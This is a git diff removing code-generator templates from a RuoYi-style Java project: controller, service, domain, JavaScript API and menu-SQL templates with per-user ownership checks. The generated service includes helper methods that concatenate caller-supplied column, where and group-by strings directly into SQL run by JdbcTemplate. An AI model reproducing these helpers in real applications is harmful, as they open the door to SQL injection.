delete${ClassName}ByIds(${pkColumn.javaType}[] ${pkColumn.javaField}s) - { -#if($table.sub) - ${className}Mapper.delete${subClassName}By${subTableFkClassName}s(${pkColumn.javaField}s); -#end - return ${className}Mapper.delete${ClassName}ByIds(${pkColumn.javaField}s); - } - - /** - * 删除${functionName}信息 - * - * @param ${pkColumn.javaField} ${functionName}ID - * @return 结果 - */ - @Override - public int delete${ClassName}ById(${pkColumn.javaType} ${pkColumn.javaField}) - { -#if($table.sub) - ${className}Mapper.delete${subClassName}By${subTableFkClassName}(${pkColumn.javaField}); -#end - return ${className}Mapper.delete${ClassName}ById(${pkColumn.javaField}); - } -#if($table.sub) - - /** - * 新增${subTable.functionName}信息 - * - * @param ${className} ${functionName}对象 - */ - public void insert${subClassName}(${ClassName} ${className}) - { - List<${subClassName}> ${subclassName}List = ${className}.get${subClassName}List(); - Long ${pkColumn.javaField} = ${className}.get${pkColumn.capJavaField}(); - if (StringUtils.isNotNull(${subclassName}List)) - { - List<${subClassName}> list = new ArrayList<${subClassName}>(); - for (${subClassName} ${subclassName} : ${subclassName}List) - { - ${subclassName}.set${subTableFkClassName}(${pkColumn.javaField}); - list.add(${subclassName}); - } - if (list.size() > 0) - { - ${className}Mapper.batch${subClassName}(list); - } - } - } -#end -} diff --git a/ruoyi-generator/src/main/resources/vm/java/sub-domain.java.vm b/ruoyi-generator/src/main/resources/vm/java/sub-domain.java.vm deleted file mode 100644 index a3f53eb..0000000 --- a/ruoyi-generator/src/main/resources/vm/java/sub-domain.java.vm +++ /dev/null @@ -1,76 +0,0 @@ -package ${packageName}.domain; - -#foreach ($import in $subImportList) -import ${import}; -#end -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; - -/** - * ${subTable.functionName}对象 ${subTableName} - * - * @author ${author} - * @date ${datetime} - */ -public class ${subClassName} extends BaseEntity -{ - private static final long serialVersionUID = 1L; - -#foreach ($column in $subTable.columns) -#if(!$table.isSuperColumn($column.javaField)) - /** $column.columnComment */ -#if($column.list) -#set($parentheseIndex=$column.columnComment.indexOf("(")) -#if($parentheseIndex != -1) -#set($comment=$column.columnComment.substring(0, $parentheseIndex)) -#else -#set($comment=$column.columnComment) -#end -#if($parentheseIndex != -1) - @Excel(name = "${comment}", readConverterExp = "$column.readConverterExp()") -#elseif($column.javaType == 'Date') - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "${comment}", width = 30, dateFormat = "yyyy-MM-dd") -#else - @Excel(name = "${comment}") -#end -#end - private $column.javaType $column.javaField; - -#end -#end -#foreach ($column in $subTable.columns) -#if(!$table.isSuperColumn($column.javaField)) -#if($column.javaField.length() > 2 && $column.javaField.substring(1,2).matches("[A-Z]")) -#set($AttrName=$column.javaField) -#else -#set($AttrName=$column.javaField.substring(0,1).toUpperCase() + ${column.javaField.substring(1)}) -#end - public void set${AttrName}($column.javaType $column.javaField) - { - this.$column.javaField = $column.javaField; - } - - public $column.javaType get${AttrName}() - { - return $column.javaField; - } -#end -#end - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) -#foreach ($column in $subTable.columns) -#if($column.javaField.length() > 2 && $column.javaField.substring(1,2).matches("[A-Z]")) -#set($AttrName=$column.javaField) -#else -#set($AttrName=$column.javaField.substring(0,1).toUpperCase() + ${column.javaField.substring(1)}) -#end - .append("${column.javaField}", get${AttrName}()) -#end - .toString(); - } -} diff --git a/ruoyi-generator/src/main/resources/vm/java/userController.java.vm b/ruoyi-generator/src/main/resources/vm/java/userController.java.vm deleted file mode 100644 index a2a0983..0000000 --- a/ruoyi-generator/src/main/resources/vm/java/userController.java.vm +++ /dev/null @@ -1,188 +0,0 @@ -package ${packageName}.controller; -import com.ruoyi.common.select.Ids; -import com.ruoyi.common.select.SelectItem; -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import ${packageName}.domain.${ClassName}; -import ${packageName}.domain.${ClassName}Plus; -import ${packageName}.service.I${ClassName}Service; -import com.ruoyi.common.utils.poi.ExcelUtil; -#if($table.crud || $table.sub) -import com.ruoyi.common.core.page.TableDataInfo; -#elseif($table.tree) -#end - -/** - * ${functionName}Controller - * - * @author ${author} - * @date ${datetime} - */ -@RestController -@RequestMapping("/${moduleName}/${businessName}") -public class ${ClassName}Controller extends BaseController -{ - @Autowired - private I${ClassName}Service ${className}Service; - @PreAuthorize("@ss.hasPermi('${permissionPrefix}:getByIds')") - @PostMapping("/getByIds") - public AjaxResult getByIds(@RequestBody Ids ids) - { - List<${ClassName}Plus> list = ${className}Service.getByIds(ids.getLongIds(),false,${ClassName}Plus::getName,${ClassName}Plus::getId); - return AjaxResult.success(list); - } - @PreAuthorize("@ss.hasPermi('${permissionPrefix}:user-getByIds')") - @PostMapping("/user/getByIds") - public AjaxResult userGetByIds(@RequestBody Ids ids) - { - List<${ClassName}Plus> list = ${className}Service.getByIds(ids.getLongIds(),true,${ClassName}Plus::getUserId,${ClassName}Plus::getName,${ClassName}Plus::getId); - return AjaxResult.success(list); - } - @PreAuthorize("@ss.hasPermi('${permissionPrefix}:select')") - @GetMapping("/select") - public AjaxResult select(String keyword) - { - List list = ${className}Service.select(keyword,false); - return AjaxResult.success(list); - } - @PreAuthorize("@ss.hasPermi('${permissionPrefix}:user-select')") - @GetMapping("/user/select") - public AjaxResult userSelect(String keyword) - { - List list = ${className}Service.select(keyword,true); - return AjaxResult.success(list); - } - /** - * 查询${functionName}列表 - */ - @PreAuthorize("@ss.hasPermi('${permissionPrefix}:list')") - @GetMapping("/list") -#if($table.crud || $table.sub) - public TableDataInfo list(${ClassName} ${className}) - { - startPage(); - List<${ClassName}> list = ${className}Service.select${ClassName}List(${className},false); - return getDataTable(list); - } -#elseif($table.tree) - public AjaxResult list(${ClassName} ${className}) - { - List<${ClassName}> list = ${className}Service.select${ClassName}List(${className}); - return AjaxResult.success(list); - } -#end -/** - * 查询${functionName}列表 - */ -@PreAuthorize("@ss.hasPermi('${permissionPrefix}:user-list')") -@GetMapping("/user/list") - #if($table.crud || $table.sub) - public TableDataInfo userList(${ClassName} ${className}) - { - startPage(); - List<${ClassName}> list = ${className}Service.select${ClassName}List(${className},true); - return getDataTable(list); - } - #end - /** - * 导出${functionName}列表 - */ - @PreAuthorize("@ss.hasPermi('${permissionPrefix}:export')") - @Log(title = "${functionName}", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(${ClassName} ${className}) - { - List<${ClassName}> list = ${className}Service.select${ClassName}List(${className},false); - ExcelUtil<${ClassName}> util = new ExcelUtil<${ClassName}>(${ClassName}.class); - return util.exportExcel(list, "${businessName}"); - } - - /** - * 获取${functionName}详细信息 - */ - @PreAuthorize("@ss.hasPermi('${permissionPrefix}:query')") - @GetMapping(value = "/{${pkColumn.javaField}}") - public AjaxResult getInfo(@PathVariable("${pkColumn.javaField}") ${pkColumn.javaType} ${pkColumn.javaField}) - { - return AjaxResult.success(${className}Service.select${ClassName}ById(${pkColumn.javaField},false)); - } - /** - * 获取${functionName}详细信息 - */ - @PreAuthorize("@ss.hasPermi('${permissionPrefix}:user-query')") - @GetMapping(value = "/user/{${pkColumn.javaField}}") - public AjaxResult userGetInfo(@PathVariable("${pkColumn.javaField}") ${pkColumn.javaType} ${pkColumn.javaField}) - { - return AjaxResult.success(${className}Service.select${ClassName}ById(${pkColumn.javaField},true)); - } - /** - * 新增${functionName} - */ - @PreAuthorize("@ss.hasPermi('${permissionPrefix}:add')") - @Log(title = "${functionName}", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody ${ClassName} ${className}) - { - return toAjax(${className}Service.insert${ClassName}(${className},false)); - } - /** - * 新增${functionName} - */ - @PreAuthorize("@ss.hasPermi('${permissionPrefix}:user-add')") - @Log(title = "${functionName}", businessType = BusinessType.INSERT) - @PostMapping("/user") - public AjaxResult userAdd(@RequestBody ${ClassName} ${className}) - { - return toAjax(${className}Service.insert${ClassName}(${className},true)); - } - /** - * 修改${functionName} - */ - @PreAuthorize("@ss.hasPermi('${permissionPrefix}:edit')") - @Log(title = "${functionName}", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody ${ClassName} ${className}) - { - return toAjax(${className}Service.update${ClassName}(${className},false)); - } - @PreAuthorize("@ss.hasPermi('${permissionPrefix}:user-edit')") - @Log(title = "${functionName}", businessType = BusinessType.UPDATE) - @PutMapping("/user") - public AjaxResult userEdit(@RequestBody ${ClassName} ${className}) - { - return toAjax(${className}Service.update${ClassName}(${className},true)); - } - /** - * 删除${functionName} - */ - @PreAuthorize("@ss.hasPermi('${permissionPrefix}:remove')") - @Log(title = "${functionName}", businessType = BusinessType.DELETE) - @DeleteMapping("/{${pkColumn.javaField}s}") - public AjaxResult remove(@PathVariable ${pkColumn.javaType}[] ${pkColumn.javaField}s) - { - return toAjax(${className}Service.delete${ClassName}ByIds(${pkColumn.javaField}s,false)); - } - /** - * 删除${functionName} - */ - @PreAuthorize("@ss.hasPermi('${permissionPrefix}:user-remove')") - @Log(title = "${functionName}", businessType = BusinessType.DELETE) - @DeleteMapping("/user/{${pkColumn.javaField}s}") - public AjaxResult userRemove(@PathVariable ${pkColumn.javaType}[] ${pkColumn.javaField}s) - { - return toAjax(${className}Service.delete${ClassName}ByIds(${pkColumn.javaField}s,true)); - } -} diff --git a/ruoyi-generator/src/main/resources/vm/java/userService.java.vm b/ruoyi-generator/src/main/resources/vm/java/userService.java.vm deleted file mode 100644 index db949f3..0000000 --- a/ruoyi-generator/src/main/resources/vm/java/userService.java.vm +++ /dev/null @@ -1,89 +0,0 @@ -package ${packageName}.service; -import java.util.Map; -import java.util.List; -import ${packageName}.domain.${ClassName}; -import ${packageName}.domain.${ClassName}Plus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import com.ruoyi.common.select.SelectItem; -/** - * ${functionName}Service接口 - * - * @author ${author} - * @date ${datetime} - */ -public interface I${ClassName}Service extends IService<${ClassName}Plus> -{ - - List select(String keyword,boolean isUser); - /** - * 查询${functionName} - * - * @param ${pkColumn.javaField} ${functionName}ID - * @return ${functionName} - */ - public ${ClassName} select${ClassName}ById(${pkColumn.javaType} ${pkColumn.javaField},boolean isUser); - - /** - * 查询${functionName}列表 - * - * @param ${className} ${functionName} - * @return ${functionName}集合 - */ - public List<${ClassName}> select${ClassName}List(${ClassName} ${className},boolean isUser); - - /** - * 新增${functionName} - * - * @param ${className} ${functionName} - * @return 结果 - */ - public int insert${ClassName}(${ClassName} ${className},boolean isUser); - - /** - * 修改${functionName} - * - * @param ${className} ${functionName} - * @return 结果 - */ - public int update${ClassName}(${ClassName} ${className},boolean isUser); - - /** - * 批量删除${functionName} - * - * @param ${pkColumn.javaField}s 需要删除的${functionName}ID - * @return 结果 - */ - public int delete${ClassName}ByIds(${pkColumn.javaType}[] ${pkColumn.javaField}s,boolean isUser); - - /** - * 删除${functionName}信息 - * - * @param ${pkColumn.javaField} ${functionName}ID - * @return 结果 - */ - public int delete${ClassName}ById(${pkColumn.javaType} ${pkColumn.javaField},boolean isUser); - - List<${ClassName}Plus> getByIds(List ids,boolean isUser, SFunction<${ClassName}Plus, ?>... columns); - - ${ClassName}Plus getById(Long id, SFunction<${ClassName}Plus, ?>... columns); - - Map getMapByIds(List ids, SFunction<${ClassName}Plus, ?>... columns); - - List<${ClassName}Plus> getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/ruoyi-generator/src/main/resources/vm/java/userServiceImpl.java.vm b/ruoyi-generator/src/main/resources/vm/java/userServiceImpl.java.vm deleted file mode 100644 index 23e7425..0000000 --- a/ruoyi-generator/src/main/resources/vm/java/userServiceImpl.java.vm +++ /dev/null @@ -1,351 +0,0 @@ -package ${packageName}.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import java.util.HashMap; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.*; -import com.ruoyi.common.utils.SecurityUtils; -import java.util.Map; -#foreach ($column in $columns) -#if($column.javaField == 'createTime' || $column.javaField == 'updateTime'|| $column.javaField == 'createdAt' || $column.javaField == 'updatedAt') -import com.ruoyi.common.utils.DateUtils; -#break -#end -#end -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -#if($table.sub) -import java.util.ArrayList; -import com.ruoyi.common.utils.StringUtils; -import org.springframework.transaction.annotation.Transactional; -import ${packageName}.domain.${subClassName}; -#end -import ${packageName}.mapper.${ClassName}Mapper; -import ${packageName}.domain.${ClassName}; -import ${packageName}.domain.${ClassName}Plus; -import ${packageName}.service.I${ClassName}Service; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -import com.ruoyi.common.select.SelectItem; -/** - * ${functionName}Service业务层处理 - * - * @author ${author} - * @date ${datetime} - */ -@Service -public class ${ClassName}ServiceImpl extends ServiceImpl<${ClassName}Mapper, ${ClassName}Plus> implements I${ClassName}Service -{ - @Autowired - private ${ClassName}Mapper ${className}Mapper; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List<${ClassName}Plus> getByIds(List ids ,boolean isUser, SFunction<${ClassName}Plus, ?>... columns) { - LambdaQueryWrapper<${ClassName}Plus> lambdaQueryWrapper = new LambdaQueryWrapper<${ClassName}Plus>() - .select(columns).in(${ClassName}Plus::getId, ids); - if(isUser){ - lambdaQueryWrapper.eq(${ClassName}Plus::getUserId, SecurityUtils.getUserId()); - } - List<${ClassName}Plus> list = this.list(lambdaQueryWrapper); - if(isUser){ - checkUserPlus(list); - } - return list; - } - private void checkUserPlus(List<${ClassName}Plus> list) { - for (${ClassName}Plus item : list){ - if(null != SecurityUtils.getUserId() && item.getUserId().longValue() != SecurityUtils.getUserId()){ - throw new RuntimeException("无权限"); - } - } - } - private void checkUser(List<${ClassName}> list) { - for (${ClassName} item : list){ - if(null != SecurityUtils.getUserId() && item.getUserId().longValue() != SecurityUtils.getUserId()){ - throw new RuntimeException("无权限"); - } - } - } - private void checkUser(${ClassName}Plus item) { - if(null != SecurityUtils.getUserId() && item.getUserId().longValue() != SecurityUtils.getUserId()){ - throw new RuntimeException("无权限"); - } - } - private void checkUser(${ClassName} item) { - if(null != SecurityUtils.getUserId() && item.getUserId().longValue() != SecurityUtils.getUserId()){ - throw new RuntimeException("无权限"); - } - } - @Override - public List select(String keyword,boolean isUser) { - LambdaQueryWrapper<${ClassName}Plus> lambdaQueryWrapper = new LambdaQueryWrapper<${ClassName}Plus>() - .select(${ClassName}Plus::getId,${ClassName}Plus::getUserId, ${ClassName}Plus::getName) - .like(${ClassName}Plus::getName, keyword); - if(isUser){ - lambdaQueryWrapper.eq(${ClassName}Plus::getUserId, SecurityUtils.getUserId()); - } - List<${ClassName}Plus> list = this.list(lambdaQueryWrapper); - if(isUser){ - checkUserPlus(list); - } - List result =new ArrayList<>(); - for (${ClassName}Plus item : list){ - SelectItem selectItem = new SelectItem(); - selectItem.setName(item.getName()); - selectItem.setId(item.getId()); - result.add(selectItem); - } - return result; - } - @Override - public ${ClassName}Plus getById(Long id, SFunction<${ClassName}Plus, ?>... columns) { - LambdaQueryWrapper<${ClassName}Plus> lambdaQueryWrapper = new LambdaQueryWrapper<${ClassName}Plus>() - .select(columns).eq(${ClassName}Plus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction<${ClassName}Plus, ?>... columns) { - List<${ClassName}Plus> list = this.getByIds(ids,false, columns); - Map map = new HashMap<>(); - for (${ClassName}Plus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List<${ClassName}Plus> list = this.getByIds(ids); - Map map = new HashMap<>(); - for (${ClassName}Plus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List<${ClassName}Plus> getByIds(List ids) { - LambdaQueryWrapper<${ClassName}Plus> lambdaQueryWrapper = new LambdaQueryWrapper<${ClassName}Plus>().in(${ClassName}Plus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from ${tableName} "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" ${tableName} "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" ${tableName} "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询${functionName} - * - * @param ${pkColumn.javaField} ${functionName}ID - * @return ${functionName} - */ - @Override - public ${ClassName} select${ClassName}ById(${pkColumn.javaType} ${pkColumn.javaField},boolean isUser) - { - ${ClassName} vo = ${className}Mapper.select${ClassName}ById(${pkColumn.javaField}); - if(isUser){ - checkUser(vo); - } - return vo; - } - - /** - * 查询${functionName}列表 - * - * @param ${className} ${functionName} - * @return ${functionName} - */ - @Override - public List<${ClassName}> select${ClassName}List(${ClassName} ${className},boolean isUser) - { - if(${className} == null){ - ${className} = new ${ClassName}(); - } - if(isUser){ - ${className}.setUserId(SecurityUtils.getUserId()); - } - List<${ClassName}> list = ${className}Mapper.select${ClassName}List(${className}); - if(isUser){ - checkUser(list); - } - return list; - } - - /** - * 新增${functionName} - * - * @param ${className} ${functionName} - * @return 结果 - */ -#if($table.sub) - @Transactional -#end - @Override - public int insert${ClassName}(${ClassName} ${className},boolean isUser) - { -#foreach ($column in $columns) -#if($column.javaField == 'createTime') - ${className}.setCreateTime(DateUtils.getNowDate()); -#end - #if($column.javaField == 'updatedAt') - ${className}.setUpdatedAt(DateUtils.getNowDate()); - #end - #if($column.javaField == 'createdAt') - ${className}.setCreatedAt(DateUtils.getNowDate()); - #end -#end -#if($table.sub) - int rows = ${className}Mapper.insert${ClassName}(${className}); - insert${subClassName}(${className}); - return rows; -#else - if(isUser){ - ${className}.setUserId(SecurityUtils.getUserId()); - } - return ${className}Mapper.insert${ClassName}(${className}); -#end - } - - /** - * 修改${functionName} - * - * @param ${className} ${functionName} - * @return 结果 - */ -#if($table.sub) - @Transactional -#end - @Override - public int update${ClassName}(${ClassName} ${className},boolean isUser) - { -#foreach ($column in $columns) -#if($column.javaField == 'updateTime') - ${className}.setUpdateTime(DateUtils.getNowDate()); -#end -#if($column.javaField == 'updatedAt') - ${className}.setUpdatedAt(DateUtils.getNowDate()); -#end -#end -#if($table.sub) - ${className}Mapper.delete${subClassName}By${subTableFkClassName}(${className}.get${pkColumn.capJavaField}()); - insert${subClassName}(${className}); -#end - if(isUser){ - checkUser(${className}); - } - return ${className}Mapper.update${ClassName}(${className}); - } - - /** - * 批量删除${functionName} - * - * @param ${pkColumn.javaField}s 需要删除的${functionName}ID - * @return 结果 - */ -#if($table.sub) - @Transactional -#end - @Override - public int delete${ClassName}ByIds(${pkColumn.javaType}[] ${pkColumn.javaField}s,boolean isUser) - { -#if($table.sub) - ${className}Mapper.delete${subClassName}By${subTableFkClassName}s(${pkColumn.javaField}s); -#end - if(isUser){ - List<${ClassName}Plus> list= getByIds(Arrays.asList(ids),false,${ClassName}Plus::getUserId,${ClassName}Plus::getId); - checkUserPlus(list); - } - return ${className}Mapper.delete${ClassName}ByIds(${pkColumn.javaField}s); - } - - /** - * 删除${functionName}信息 - * - * @param ${pkColumn.javaField} ${functionName}ID - * @return 结果 - */ - @Override - public int delete${ClassName}ById(${pkColumn.javaType} ${pkColumn.javaField},boolean isUser) - { -#if($table.sub) - ${className}Mapper.delete${subClassName}By${subTableFkClassName}(${pkColumn.javaField}); -#end - if(isUser){ - ${ClassName}Plus vo = getById(id,${ClassName}Plus::getUserId,${ClassName}Plus::getId); - checkUser(vo); - } - return ${className}Mapper.delete${ClassName}ById(${pkColumn.javaField}); - } -#if($table.sub) - - /** - * 新增${subTable.functionName}信息 - * - * @param ${className} ${functionName}对象 - */ - public void insert${subClassName}(${ClassName} ${className}) - { - List<${subClassName}> ${subclassName}List = ${className}.get${subClassName}List(); - Long ${pkColumn.javaField} = ${className}.get${pkColumn.capJavaField}(); - if (StringUtils.isNotNull(${subclassName}List)) - { - List<${subClassName}> list = new ArrayList<${subClassName}>(); - for (${subClassName} ${subclassName} : ${subclassName}List) - { - ${subclassName}.set${subTableFkClassName}(${pkColumn.javaField}); - list.add(${subclassName}); - } - if (list.size() > 0) - { - ${className}Mapper.batch${subClassName}(list); - } - } - } -#end -} diff --git a/ruoyi-generator/src/main/resources/vm/js/api.js.vm b/ruoyi-generator/src/main/resources/vm/js/api.js.vm deleted file mode 100644 index 7fc13a2..0000000 --- a/ruoyi-generator/src/main/resources/vm/js/api.js.vm +++ /dev/null @@ -1,127 +0,0 @@ -import request from '@/utils/request' - -// 查询${functionName}列表 -export function list${BusinessName}(query) { - return request({ - url: '/${moduleName}/${businessName}/list', - method: 'get', - params: query - }) -} -export function get${capClassName}ByIds(params) { - return request({ - url: '/${moduleName}/${businessName}/getByIds', - method: 'post', - data: params - }) -} -export function select${capClassName}(keyword) { - return request({ - url: '/${moduleName}/${businessName}/select?keyword='+keyword, - method: 'get', - params: {} - }) -} -// 查询${functionName}详细 -export function get${BusinessName}(${pkColumn.javaField}) { - return request({ - url: '/${moduleName}/${businessName}/' + ${pkColumn.javaField}, - method: 'get' - }) -} - -// 新增${functionName} -export function add${BusinessName}(data) { - return request({ - url: '/${moduleName}/${businessName}', - method: 'post', - data: data - }) -} - -// 修改${functionName} -export function update${BusinessName}(data) { - return request({ - url: '/${moduleName}/${businessName}', - method: 'put', - data: data - }) -} - -// 删除${functionName} -export function del${BusinessName}(${pkColumn.javaField}) { - return request({ - url: '/${moduleName}/${businessName}/' + ${pkColumn.javaField}, - method: 'delete' - }) -} - -// 导出${functionName} -export function export${BusinessName}(query) { - return request({ - url: '/${moduleName}/${businessName}/export', - method: 'get', - params: query - }) -} -// 用户 - - - - - -// 查询${functionName}列表 -export function userList${BusinessName}(query) { - return request({ - url: '/${moduleName}/${businessName}/user/list', - method: 'get', - params: query - }) -} -export function userGet${capClassName}ByIds(params) { - return request({ - url: '/${moduleName}/${businessName}/user/getByIds', - method: 'post', - data: params - }) -} -export function userSelect${capClassName}(keyword) { - return request({ - url: '/${moduleName}/${businessName}/user/select?keyword='+keyword, - method: 'get', - params: {} - }) -} -// 查询${functionName}详细 -export function userGet${BusinessName}(${pkColumn.javaField}) { - return request({ - url: '/${moduleName}/${businessName}/user/' + ${pkColumn.javaField}, - method: 'get' - }) -} - -// 新增${functionName} -export function userAdd${BusinessName}(data) { - return request({ - url: '/${moduleName}/${businessName}/user', - method: 'post', - data: data - }) -} - -// 修改${functionName} -export function userUpdate${BusinessName}(data) { - return request({ - url: '/${moduleName}/${businessName}/user', - method: 'put', - data: data - }) -} - -// 删除${functionName} -export function userDel${BusinessName}(${pkColumn.javaField}) { - return request({ - url: '/${moduleName}/${businessName}/user/' + ${pkColumn.javaField}, - method: 'delete' - }) -} \ No newline at end of file diff --git a/ruoyi-generator/src/main/resources/vm/sql/sql.vm b/ruoyi-generator/src/main/resources/vm/sql/sql.vm deleted file mode 100644 index 0c04447..0000000 --- a/ruoyi-generator/src/main/resources/vm/sql/sql.vm +++ /dev/null @@ -1,55 +0,0 @@ --- 菜单 SQL -insert into sys_menu (menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_by, create_time, update_by, update_time, remark) -values('${functionName}', '${parentMenuId}', '1', '${businessName}', '${moduleName}/${businessName}/index', 1, 0, 'C', '0', '0', '${permissionPrefix}:list', '#', 'admin', sysdate(), '', null, '${functionName}菜单'); - --- 按钮父菜单ID -SELECT @parentId := LAST_INSERT_ID(); - --- 按钮 SQL -insert into sys_menu (menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_by, create_time, update_by, update_time, remark) -values('${functionName}查询', @parentId, '1', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:query', '#', 'admin', sysdate(), '', null, ''); - -insert into sys_menu (menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_by, create_time, update_by, update_time, remark) -values('${functionName}新增', @parentId, '2', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:add', '#', 'admin', sysdate(), '', null, ''); - -insert into sys_menu (menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_by, create_time, update_by, update_time, remark) -values('${functionName}修改', @parentId, '3', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:edit', '#', 'admin', sysdate(), '', null, ''); - -insert into sys_menu (menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_by, create_time, update_by, update_time, remark) -values('${functionName}删除', @parentId, '4', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:remove', '#', 'admin', sysdate(), '', null, ''); - -insert into sys_menu (menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_by, create_time, update_by, update_time, remark) -values('${functionName}导出', @parentId, '5', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:export', '#', 'admin', sysdate(), '', null, ''); - - -insert into sys_menu (menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_by, create_time, update_by, update_time, remark) -values('${functionName}ids查询', @parentId, '5', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:getByIds', '#', 'admin', sysdate(), '', null, ''); - -insert into sys_menu (menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_by, create_time, update_by, update_time, remark) -values('${functionName}select', @parentId, '5', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:select', '#', 'admin', sysdate(), '', null, ''); - - --- 用户 --- 菜单 SQL -insert into sys_menu (menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_by, create_time, update_by, update_time, remark) -values('${functionName}', '0', '1', '${businessName}', '${moduleName}/${businessName}/user/index', 1, 0, 'C', '0', '0', '${permissionPrefix}:user-list', '#', 'admin', sysdate(), '', null, '${functionName}菜单-用户'); - --- 按钮父菜单ID -SELECT @parentId := LAST_INSERT_ID(); -insert into sys_menu (menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_by, create_time, update_by, update_time, remark) -values('${functionName}用户-查询', @parentId, '1', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:user-query', '#', 'admin', sysdate(), '', null, ''); - -insert into sys_menu (menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_by, create_time, update_by, update_time, remark) -values('${functionName}用户-新增', @parentId, '2', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:user-add', '#', 'admin', sysdate(), '', null, ''); - -insert into sys_menu (menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_by, create_time, update_by, update_time, remark) -values('${functionName}用户-修改', @parentId, '3', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:user-edit', '#', 'admin', sysdate(), '', null, ''); - -insert into sys_menu (menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_by, create_time, update_by, update_time, remark) -values('${functionName}用户-删除', @parentId, '4', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:user-remove', '#', 'admin', sysdate(), '', null, ''); - -insert into sys_menu (menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_by, create_time, update_by, update_time, remark) -values('${functionName}用户-ids查询', @parentId, '5', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:user-getByIds', '#', 'admin', sysdate(), '', null, ''); - -insert into sys_menu (menu_name, 